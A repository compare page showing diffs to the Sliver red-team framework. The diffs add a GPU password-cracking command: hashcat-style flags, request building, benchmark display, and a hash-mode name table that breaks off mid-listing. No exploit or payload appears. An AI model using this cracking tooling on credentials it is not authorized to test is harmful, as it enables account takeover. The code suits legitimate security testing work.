mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
38
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
87b1efaa5f | ||
|
|
009e505a54 | ||
|
|
c0dd2d5b51 | ||
|
|
6dab9dc6c5 | ||
|
|
854249fa25 | ||
|
|
7db573a03e | ||
|
|
0bef5491dc | ||
|
|
1c50e5a87b | ||
|
|
8dae2d0d52 | ||
|
|
023776f7e3 | ||
|
|
b7566a3b09 | ||
|
|
b889e2eb6f | ||
|
|
4466ace279 | ||
|
|
2b65089b27 | ||
|
|
87d5fd53a8 | ||
|
|
cf79a2d284 | ||
|
|
6d0276ff67 | ||
|
|
9b001ab88e | ||
|
|
503218f3f4 | ||
|
|
495dce0987 | ||
|
|
a7ff35c229 | ||
|
|
162fc4fb8a | ||
|
|
636ea0a9b2 | ||
|
|
84ed9bc4e7 | ||
|
|
b985d8ff9f | ||
|
|
5a43705e1d | ||
|
|
76af248850 | ||
|
|
628757250e | ||
|
|
25d242230b | ||
|
|
b4345226c1 | ||
|
|
c9f4970e4b | ||
|
|
e72fa3dbd0 | ||
|
|
2e93ce5684 | ||
|
|
828838cddf | ||
|
|
16c1dc21fd | ||
|
|
33c656d082 | ||
|
|
99a44e340f | ||
|
|
de5fa3458b |
No files matched your search
@@ -42,4 +42,3 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
@@ -24,6 +24,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
bindCrackFlags(f)
|
||||
})
|
||||
|
||||
crackStationsCmd := &cobra.Command{
|
||||
@@ -34,6 +35,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
CrackStationsCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, crackStationsCmd, func(f *pflag.FlagSet) {
|
||||
f.Bool("show-benchmarks", false, "show benchmark rates for crackstations")
|
||||
})
|
||||
crackCmd.AddCommand(crackStationsCmd)
|
||||
|
||||
wordlistsCmd := &cobra.Command{
|
||||
|
||||
@@ -0,0 +1,326 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
func shouldRunCrack(cmd *cobra.Command, args []string) bool {
|
||||
if len(args) > 0 {
|
||||
return true
|
||||
}
|
||||
|
||||
hasFlag := false
|
||||
cmd.Flags().VisitAll(func(flag *pflag.Flag) {
|
||||
if flag.Changed && flag.Name != "timeout" {
|
||||
hasFlag = true
|
||||
}
|
||||
})
|
||||
return hasFlag
|
||||
}
|
||||
|
||||
func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackCommand, error) {
|
||||
flags := cmd.Flags()
|
||||
req := &clientpb.CrackCommand{}
|
||||
|
||||
if flags.Changed("attack-mode") {
|
||||
raw, _ := flags.GetString("attack-mode")
|
||||
attackMode, err := parseCrackAttackMode(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.AttackMode = attackMode
|
||||
}
|
||||
|
||||
if flags.Changed("hash-type") {
|
||||
raw, _ := flags.GetString("hash-type")
|
||||
hashType, err := parseHashType(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.HashType = hashType
|
||||
}
|
||||
|
||||
hashes, _ := flags.GetStringSlice("hash")
|
||||
if len(args) > 0 {
|
||||
hashes = append(hashes, args...)
|
||||
}
|
||||
req.Hashes = hashes
|
||||
|
||||
req.Quiet, _ = flags.GetBool("quiet")
|
||||
req.HexCharset, _ = flags.GetBool("hex-charset")
|
||||
req.HexSalt, _ = flags.GetBool("hex-salt")
|
||||
req.HexWordlist, _ = flags.GetBool("hex-wordlist")
|
||||
req.Force, _ = flags.GetBool("force")
|
||||
req.DeprecatedCheckDisable, _ = flags.GetBool("deprecated-check-disable")
|
||||
req.Status, _ = flags.GetBool("status")
|
||||
req.StatusJSON, _ = flags.GetBool("status-json")
|
||||
req.StatusTimer, _ = flags.GetUint32("status-timer")
|
||||
req.StdinTimeoutAbort, _ = flags.GetUint32("stdin-timeout-abort")
|
||||
req.MachineReadable, _ = flags.GetBool("machine-readable")
|
||||
req.KeepGuessing, _ = flags.GetBool("keep-guessing")
|
||||
req.SelfTestDisable, _ = flags.GetBool("self-test-disable")
|
||||
req.Loopback, _ = flags.GetBool("loopback")
|
||||
|
||||
if raw, _ := flags.GetString("markov-hcstat2"); raw != "" {
|
||||
req.MarkovHcstat2 = []byte(raw)
|
||||
}
|
||||
req.MarkovDisable, _ = flags.GetBool("markov-disable")
|
||||
req.MarkovClassic, _ = flags.GetBool("markov-classic")
|
||||
req.MarkovInverse, _ = flags.GetBool("markov-inverse")
|
||||
req.MarkovThreshold, _ = flags.GetUint32("markov-threshold")
|
||||
req.Runtime, _ = flags.GetUint32("runtime")
|
||||
req.Session, _ = flags.GetString("session")
|
||||
req.Restore, _ = flags.GetBool("restore")
|
||||
req.RestoreDisable, _ = flags.GetBool("restore-disable")
|
||||
if raw, _ := flags.GetString("restore-file"); raw != "" {
|
||||
req.RestoreFile = []byte(raw)
|
||||
}
|
||||
|
||||
if formats, _ := flags.GetStringSlice("outfile-format"); len(formats) > 0 {
|
||||
for _, raw := range formats {
|
||||
format, err := parseCrackOutfileFormat(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.OutfileFormat = append(req.OutfileFormat, format)
|
||||
}
|
||||
}
|
||||
req.OutfileAutohexDisable, _ = flags.GetBool("outfile-autohex-disable")
|
||||
req.OutfileCheckTimer, _ = flags.GetUint32("outfile-check-timer")
|
||||
req.WordlistAutohexDisable, _ = flags.GetBool("wordlist-autohex-disable")
|
||||
req.Separator, _ = flags.GetString("separator")
|
||||
req.Stdout, _ = flags.GetBool("stdout")
|
||||
req.Show, _ = flags.GetBool("show")
|
||||
req.Left, _ = flags.GetBool("left")
|
||||
req.Username, _ = flags.GetBool("username")
|
||||
req.Remove, _ = flags.GetBool("remove")
|
||||
req.RemoveTimer, _ = flags.GetUint32("remove-timer")
|
||||
req.PotfileDisable, _ = flags.GetBool("potfile-disable")
|
||||
if raw, _ := flags.GetString("potfile"); raw != "" {
|
||||
req.Potfile = []byte(raw)
|
||||
}
|
||||
|
||||
if flags.Changed("encoding-from") {
|
||||
raw, _ := flags.GetString("encoding-from")
|
||||
enc, err := parseCrackEncoding(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.EncodingFrom = enc
|
||||
}
|
||||
if flags.Changed("encoding-to") {
|
||||
raw, _ := flags.GetString("encoding-to")
|
||||
enc, err := parseCrackEncoding(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.EncodingTo = enc
|
||||
}
|
||||
|
||||
req.DebugMode, _ = flags.GetUint32("debug-mode")
|
||||
req.LogfileDisable, _ = flags.GetBool("logfile-disable")
|
||||
req.HccapxMessagePair, _ = flags.GetUint32("hccapx-message-pair")
|
||||
req.NonceErrorCorrections, _ = flags.GetUint32("nonce-error-corrections")
|
||||
if raw, _ := flags.GetString("keyboard-layout-mapping"); raw != "" {
|
||||
req.KeyboardLayoutMapping = []byte(raw)
|
||||
}
|
||||
|
||||
req.Benchmark, _ = flags.GetBool("benchmark")
|
||||
req.BenchmarkAll, _ = flags.GetBool("benchmark-all")
|
||||
req.SpeedOnly, _ = flags.GetBool("speed-only")
|
||||
req.ProgressOnly, _ = flags.GetBool("progress-only")
|
||||
req.SegmentSize, _ = flags.GetUint32("segment-size")
|
||||
req.BitmapMin, _ = flags.GetUint32("bitmap-min")
|
||||
req.BitmapMax, _ = flags.GetUint32("bitmap-max")
|
||||
req.CPUAffinity = uintSliceToUint32(flags, "cpu-affinity")
|
||||
req.HookThreads, _ = flags.GetUint32("hook-threads")
|
||||
req.HashInfo, _ = flags.GetBool("hash-info")
|
||||
req.BackendIgnoreCUDA, _ = flags.GetBool("backend-ignore-cuda")
|
||||
req.BackendIgnoreHip, _ = flags.GetBool("backend-ignore-hip")
|
||||
req.BackendIgnoreMetal, _ = flags.GetBool("backend-ignore-metal")
|
||||
req.BackendIgnoreOpenCL, _ = flags.GetBool("backend-ignore-opencl")
|
||||
req.BackendInfo, _ = flags.GetBool("backend-info")
|
||||
req.BackendDevices = uintSliceToUint32(flags, "backend-devices")
|
||||
req.OpenCLDeviceTypes = uintSliceToUint32(flags, "opencl-device-types")
|
||||
req.OptimizedKernelEnable, _ = flags.GetBool("optimized-kernel-enable")
|
||||
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
|
||||
|
||||
if flags.Changed("workload-profile") {
|
||||
raw, _ := flags.GetString("workload-profile")
|
||||
profile, err := parseCrackWorkloadProfile(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.WorkloadProfile = profile
|
||||
}
|
||||
|
||||
req.KernelAccel, _ = flags.GetUint32("kernel-accel")
|
||||
req.KernelLoops, _ = flags.GetUint32("kernel-loops")
|
||||
req.KernelThreads, _ = flags.GetUint32("kernel-threads")
|
||||
req.BackendVectorWidth, _ = flags.GetUint32("backend-vector-width")
|
||||
req.SpinDamp, _ = flags.GetUint32("spin-damp")
|
||||
req.HwmonDisable, _ = flags.GetBool("hwmon-disable")
|
||||
req.HwmonTempAbort, _ = flags.GetUint32("hwmon-temp-abort")
|
||||
req.ScryptTMTO, _ = flags.GetUint32("scrypt-tmto")
|
||||
req.Skip, _ = flags.GetUint64("skip")
|
||||
req.Limit, _ = flags.GetUint64("limit")
|
||||
req.Keyspace, _ = flags.GetBool("keyspace")
|
||||
|
||||
if raw, _ := flags.GetString("rules-file"); raw != "" {
|
||||
req.RulesFile = []byte(raw)
|
||||
}
|
||||
req.GenerateRules, _ = flags.GetUint32("generate-rules")
|
||||
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
|
||||
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
|
||||
req.GenerateRulesFuncSel, _ = flags.GetString("generate-rules-func-sel")
|
||||
req.GenerateRulesSeed, _ = flags.GetInt32("generate-rules-seed")
|
||||
req.CustomCharset1, _ = flags.GetString("custom-charset1")
|
||||
req.CustomCharset2, _ = flags.GetString("custom-charset2")
|
||||
req.CustomCharset3, _ = flags.GetString("custom-charset3")
|
||||
req.CustomCharset4, _ = flags.GetString("custom-charset4")
|
||||
req.Identify, _ = flags.GetString("identify")
|
||||
req.Increment, _ = flags.GetBool("increment")
|
||||
req.IncrementMin, _ = flags.GetUint32("increment-min")
|
||||
req.IncrementMax, _ = flags.GetUint32("increment-max")
|
||||
req.SlowCandidates, _ = flags.GetBool("slow-candidates")
|
||||
req.BrainServer, _ = flags.GetBool("brain-server")
|
||||
req.BrainServerTimer, _ = flags.GetUint32("brain-server-timer")
|
||||
req.BrainClient, _ = flags.GetBool("brain-client")
|
||||
req.BrainClientFeatures, _ = flags.GetString("brain-client-features")
|
||||
req.BrainHost, _ = flags.GetString("brain-host")
|
||||
req.BrainPort, _ = flags.GetUint32("brain-port")
|
||||
req.BrainPassword, _ = flags.GetString("brain-password")
|
||||
req.BrainSession, _ = flags.GetString("brain-session")
|
||||
req.BrainSessionWhitelist, _ = flags.GetString("brain-session-whitelist")
|
||||
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func uintSliceToUint32(flags *pflag.FlagSet, name string) []uint32 {
|
||||
values, _ := flags.GetUintSlice(name)
|
||||
if len(values) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]uint32, len(values))
|
||||
for i, value := range values {
|
||||
out[i] = uint32(value)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackAttackMode_STRAIGHT, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackAttackMode(numeric), nil
|
||||
}
|
||||
|
||||
normalized := strings.ToLower(strings.TrimSpace(raw))
|
||||
normalized = strings.NewReplacer("-", "_", " ", "_").Replace(normalized)
|
||||
switch normalized {
|
||||
case "straight":
|
||||
return clientpb.CrackAttackMode_STRAIGHT, nil
|
||||
case "combination":
|
||||
return clientpb.CrackAttackMode_COMBINATION, nil
|
||||
case "bruteforce", "brute_force", "brute-force":
|
||||
return clientpb.CrackAttackMode_BRUTEFORCE, nil
|
||||
case "hybrid_wordlist_mask":
|
||||
return clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK, nil
|
||||
case "hybrid_mask_wordlist":
|
||||
return clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST, nil
|
||||
case "association":
|
||||
return clientpb.CrackAttackMode_ASSOCIATION, nil
|
||||
case "no_attack", "none":
|
||||
return clientpb.CrackAttackMode_NO_ATTACK, nil
|
||||
default:
|
||||
return clientpb.CrackAttackMode_STRAIGHT, fmt.Errorf("unknown attack mode: %s", raw)
|
||||
}
|
||||
}
|
||||
|
||||
func parseHashType(raw string) (clientpb.HashType, error) {
|
||||
if raw == "" {
|
||||
return clientpb.HashType_MD5, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.HashType(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.HashType_value[key]; ok {
|
||||
return clientpb.HashType(value), nil
|
||||
}
|
||||
return clientpb.HashType_MD5, fmt.Errorf("unknown hash type: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackEncoding(raw string) (clientpb.CrackEncoding, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackEncoding_INVALID_ENCODING, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackEncoding(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackEncoding_value[key]; ok {
|
||||
return clientpb.CrackEncoding(value), nil
|
||||
}
|
||||
return clientpb.CrackEncoding_INVALID_ENCODING, fmt.Errorf("unknown encoding: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackOutfileFormat(raw string) (clientpb.CrackOutfileFormat, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackOutfileFormat_INVALID_FORMAT, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackOutfileFormat(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackOutfileFormat_value[key]; ok {
|
||||
return clientpb.CrackOutfileFormat(value), nil
|
||||
}
|
||||
return clientpb.CrackOutfileFormat_INVALID_FORMAT, fmt.Errorf("unknown outfile format: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackWorkloadProfile(raw string) (clientpb.CrackWorkloadProfile, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackWorkloadProfile(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackWorkloadProfile_value[key]; ok {
|
||||
return clientpb.CrackWorkloadProfile(value), nil
|
||||
}
|
||||
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, fmt.Errorf("unknown workload profile: %s", raw)
|
||||
}
|
||||
|
||||
func normalizeEnumKey(value string) string {
|
||||
if value == "" {
|
||||
return ""
|
||||
}
|
||||
var builder strings.Builder
|
||||
builder.Grow(len(value))
|
||||
underscore := false
|
||||
for i := 0; i < len(value); i++ {
|
||||
ch := value[i]
|
||||
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
|
||||
if ch >= 'a' && ch <= 'z' {
|
||||
ch -= 'a' - 'A'
|
||||
}
|
||||
builder.WriteByte(ch)
|
||||
underscore = false
|
||||
continue
|
||||
}
|
||||
if !underscore {
|
||||
builder.WriteByte('_')
|
||||
underscore = true
|
||||
}
|
||||
}
|
||||
return strings.Trim(builder.String(), "_")
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
package crack
|
||||
|
||||
import "github.com/spf13/pflag"
|
||||
|
||||
func bindCrackFlags(f *pflag.FlagSet) {
|
||||
f.String("attack-mode", "", "crack attack mode (straight, combination, bruteforce, hybrid-wordlist-mask, hybrid-mask-wordlist, association, no-attack, or numeric)")
|
||||
f.String("hash-type", "", "hashcat hash type (number or enum name)")
|
||||
f.StringSlice("hash", nil, "hashes to crack (repeatable)")
|
||||
f.Bool("quiet", false, "quiet mode")
|
||||
f.Bool("hex-charset", false, "treat charset as hex")
|
||||
f.Bool("hex-salt", false, "treat salt as hex")
|
||||
f.Bool("hex-wordlist", false, "treat wordlist as hex")
|
||||
f.Bool("force", false, "ignore warnings")
|
||||
f.Bool("deprecated-check-disable", false, "disable deprecated check")
|
||||
f.Bool("status", false, "enable status")
|
||||
f.Bool("status-json", false, "emit status in JSON")
|
||||
f.Uint32("status-timer", 0, "status timer interval (seconds)")
|
||||
f.Uint32("stdin-timeout-abort", 0, "abort after stdin timeout (seconds)")
|
||||
f.Bool("machine-readable", false, "machine readable output")
|
||||
f.Bool("keep-guessing", false, "keep guessing")
|
||||
f.Bool("self-test-disable", false, "disable self-test")
|
||||
f.Bool("loopback", false, "use loopback mode")
|
||||
f.String("markov-hcstat2", "", "markov hcstat2 filename or identifier")
|
||||
f.Bool("markov-disable", false, "disable markov mode")
|
||||
f.Bool("markov-classic", false, "use classic markov")
|
||||
f.Bool("markov-inverse", false, "use inverse markov")
|
||||
f.Uint32("markov-threshold", 0, "markov threshold")
|
||||
f.Uint32("runtime", 0, "runtime in seconds")
|
||||
f.String("session", "", "session name")
|
||||
f.Bool("restore", false, "restore session")
|
||||
f.Bool("restore-disable", false, "disable restore")
|
||||
f.String("restore-file", "", "restore file path or identifier")
|
||||
f.StringSlice("outfile-format", nil, "outfile formats (hash-salt, plain, hex-plain, crack-pos, timestamp-absolute, timestamp-relative, or numeric)")
|
||||
f.Bool("outfile-autohex-disable", false, "disable outfile autohex")
|
||||
f.Uint32("outfile-check-timer", 0, "outfile check timer interval (seconds)")
|
||||
f.Bool("wordlist-autohex-disable", false, "disable wordlist autohex")
|
||||
f.String("separator", "", "separator character")
|
||||
f.Bool("stdout", false, "stdout output")
|
||||
f.Bool("show", false, "show cracked hashes")
|
||||
f.Bool("left", false, "show uncracked hashes")
|
||||
f.Bool("username", false, "enable username handling")
|
||||
f.Bool("remove", false, "remove cracked hashes")
|
||||
f.Uint32("remove-timer", 0, "remove timer interval (seconds)")
|
||||
f.Bool("potfile-disable", false, "disable potfile")
|
||||
f.String("potfile", "", "potfile path or identifier")
|
||||
f.String("encoding-from", "", "input encoding (iso-8859-15, utf-32le, or numeric)")
|
||||
f.String("encoding-to", "", "output encoding (iso-8859-15, utf-32le, or numeric)")
|
||||
f.Uint32("debug-mode", 0, "debug mode mask")
|
||||
f.Bool("logfile-disable", false, "disable logfile")
|
||||
f.Uint32("hccapx-message-pair", 0, "hccapx message pair")
|
||||
f.Uint32("nonce-error-corrections", 0, "nonce error corrections")
|
||||
f.String("keyboard-layout-mapping", "", "keyboard layout mapping file or identifier")
|
||||
f.Bool("benchmark", false, "run benchmark")
|
||||
f.Bool("benchmark-all", false, "run full benchmark")
|
||||
f.Bool("speed-only", false, "show speed only")
|
||||
f.Bool("progress-only", false, "show progress only")
|
||||
f.Uint32("segment-size", 0, "segment size")
|
||||
f.Uint32("bitmap-min", 0, "bitmap min")
|
||||
f.Uint32("bitmap-max", 0, "bitmap max")
|
||||
f.UintSlice("cpu-affinity", nil, "CPU affinity list")
|
||||
f.Uint32("hook-threads", 0, "hook threads")
|
||||
f.Bool("hash-info", false, "show hash information")
|
||||
f.Bool("backend-ignore-cuda", false, "ignore CUDA backend")
|
||||
f.Bool("backend-ignore-hip", false, "ignore HIP backend")
|
||||
f.Bool("backend-ignore-metal", false, "ignore Metal backend")
|
||||
f.Bool("backend-ignore-opencl", false, "ignore OpenCL backend")
|
||||
f.Bool("backend-info", false, "show backend info")
|
||||
f.UintSlice("backend-devices", nil, "backend device IDs")
|
||||
f.UintSlice("opencl-device-types", nil, "OpenCL device types")
|
||||
f.Bool("optimized-kernel-enable", false, "enable optimized kernels")
|
||||
f.Bool("multiply-accel-disabled", false, "disable multiply accel")
|
||||
f.String("workload-profile", "", "workload profile (low, default, high, nightmare, or numeric)")
|
||||
f.Uint32("kernel-accel", 0, "kernel acceleration")
|
||||
f.Uint32("kernel-loops", 0, "kernel loops")
|
||||
f.Uint32("kernel-threads", 0, "kernel threads")
|
||||
f.Uint32("backend-vector-width", 0, "backend vector width")
|
||||
f.Uint32("spin-damp", 0, "spin damp")
|
||||
f.Bool("hwmon-disable", false, "disable hardware monitoring")
|
||||
f.Uint32("hwmon-temp-abort", 0, "hardware monitor temperature abort")
|
||||
f.Uint32("scrypt-tmto", 0, "scrypt tmto")
|
||||
f.Uint64("skip", 0, "skip count")
|
||||
f.Uint64("limit", 0, "limit count")
|
||||
f.Bool("keyspace", false, "show keyspace")
|
||||
f.String("rules-file", "", "rules file path or identifier")
|
||||
f.Uint32("generate-rules", 0, "generate rules")
|
||||
f.Uint32("generate-rules-fun-min", 0, "generate rules function min")
|
||||
f.Uint32("generate-rules-fun-max", 0, "generate rules function max")
|
||||
f.String("generate-rules-func-sel", "", "generate rules function selection")
|
||||
f.Int32("generate-rules-seed", 0, "generate rules seed")
|
||||
f.String("custom-charset1", "", "custom charset 1")
|
||||
f.String("custom-charset2", "", "custom charset 2")
|
||||
f.String("custom-charset3", "", "custom charset 3")
|
||||
f.String("custom-charset4", "", "custom charset 4")
|
||||
f.String("identify", "", "identify hash")
|
||||
f.Bool("increment", false, "incremental mode")
|
||||
f.Uint32("increment-min", 0, "increment min")
|
||||
f.Uint32("increment-max", 0, "increment max")
|
||||
f.Bool("slow-candidates", false, "slow candidates")
|
||||
f.Bool("brain-server", false, "brain server mode")
|
||||
f.Uint32("brain-server-timer", 0, "brain server timer")
|
||||
f.Bool("brain-client", false, "brain client mode")
|
||||
f.String("brain-client-features", "", "brain client features")
|
||||
f.String("brain-host", "", "brain host")
|
||||
f.Uint32("brain-port", 0, "brain port")
|
||||
f.String("brain-password", "", "brain password")
|
||||
f.String("brain-session", "", "brain session")
|
||||
f.String("brain-session-whitelist", "", "brain session whitelist")
|
||||
}
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -34,6 +35,37 @@ import (
|
||||
|
||||
// CrackCmd - GPU password cracking interface
|
||||
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if shouldRunCrack(cmd, args) {
|
||||
crackCmd, err := buildCrackCommand(cmd, args)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
|
||||
ctx := context.Background()
|
||||
if timeoutSeconds > 0 {
|
||||
var cancel context.CancelFunc
|
||||
ctx, cancel = context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
defer cancel()
|
||||
}
|
||||
|
||||
resp, err := con.Rpc.Crack(ctx, crackCmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if resp == nil || resp.Job == nil {
|
||||
con.PrintInfof("Crack request submitted\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Crack job %s created (status: %s)\n", resp.Job.ID, resp.Job.Status.String())
|
||||
if resp.Job.Err != "" {
|
||||
con.PrintErrorf("Crack job error: %s\n", resp.Job.Err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if !AreCrackersOnline(con) {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
@@ -64,10 +96,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
showBenchmarks, _ := cmd.Flags().GetBool("show-benchmarks")
|
||||
if len(crackers.Crackstations) == 0 {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
PrintCrackers(crackers.Crackstations, con)
|
||||
PrintCrackers(crackers.Crackstations, con, showBenchmarks)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -83,12 +116,12 @@ func AreCrackersOnline(con *console.SliverClient) bool {
|
||||
return len(crackers.Crackstations) > 0
|
||||
}
|
||||
|
||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
|
||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool) {
|
||||
sort.Slice(crackers, func(i, j int) bool {
|
||||
return crackers[i].Name < crackers[j].Name
|
||||
})
|
||||
for index, cracker := range crackers {
|
||||
printCracker(cracker, index, con)
|
||||
printCracker(cracker, index, con, showBenchmarks)
|
||||
if index < len(crackers)-1 {
|
||||
con.Println()
|
||||
con.Println()
|
||||
@@ -96,7 +129,7 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient)
|
||||
}
|
||||
}
|
||||
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
|
||||
@@ -131,8 +164,10 @@ func printCracker(cracker *clientpb.Crackstation, index int, con *console.Sliver
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
con.Println()
|
||||
printBenchmarks(cracker, con)
|
||||
if showBenchmarks {
|
||||
con.Println()
|
||||
printBenchmarks(cracker, con)
|
||||
}
|
||||
}
|
||||
|
||||
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
|
||||
@@ -140,9 +175,17 @@ func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient)
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
|
||||
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
|
||||
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
|
||||
for hashType, speed := range cracker.Benchmarks {
|
||||
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
|
||||
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
|
||||
if len(cracker.Benchmarks) == 0 {
|
||||
tw.AppendRow(table.Row{"No benchmarks reported", "-"})
|
||||
} else {
|
||||
for hashType, speed := range cracker.Benchmarks {
|
||||
name, ok := hashcatHashTypeName(hashType)
|
||||
if !ok {
|
||||
name = clientpb.HashType(hashType).String()
|
||||
}
|
||||
tw.AppendRow(table.Row{name, humanizeHashRate(speed)})
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,419 @@
|
||||
package crack
|
||||
|
||||
import "fmt"
|
||||
|
||||
// Hashcat mode names sourced from client/credentials/EXAMPLES.md.
|
||||
var hashcatHashTypes = map[int32]string{
|
||||
0: "MD5",
|
||||
10: "md5($pass.$salt)",
|
||||
11: "Joomla < 2.5.18",
|
||||
12: "PostgreSQL",
|
||||
20: "md5($salt.$pass)",
|
||||
21: "osCommerce, xt:Commerce",
|
||||
22: "Juniper NetScreen/SSG (ScreenOS)",
|
||||
23: "Skype",
|
||||
24: "SolarWinds Serv-U",
|
||||
30: "md5(utf16le($pass).$salt)",
|
||||
40: "md5($salt.utf16le($pass))",
|
||||
50: "HMAC-MD5 (key = $pass)",
|
||||
60: "HMAC-MD5 (key = $salt)",
|
||||
70: "md5(utf16le($pass))",
|
||||
100: "SHA1",
|
||||
101: "nsldap, SHA-1(Base64), Netscape LDAP SHA",
|
||||
110: "sha1($pass.$salt)",
|
||||
111: "nsldaps, SSHA-1(Base64), Netscape LDAP SSHA",
|
||||
112: "Oracle S: Type (Oracle 11+)",
|
||||
120: "sha1($salt.$pass)",
|
||||
121: "SMF (Simple Machines Forum) > v1.1",
|
||||
122: "macOS v10.4, macOS v10.5, macOS v10.6",
|
||||
123: "EPi",
|
||||
124: "Django (SHA-1)",
|
||||
125: "ArubaOS",
|
||||
130: "sha1(utf16le($pass).$salt)",
|
||||
131: "MSSQL (2000)",
|
||||
132: "MSSQL (2005)",
|
||||
133: "PeopleSoft",
|
||||
140: "sha1($salt.utf16le($pass))",
|
||||
141: "Episerver 6.x < .NET 4",
|
||||
150: "HMAC-SHA1 (key = $pass)",
|
||||
160: "HMAC-SHA1 (key = $salt)",
|
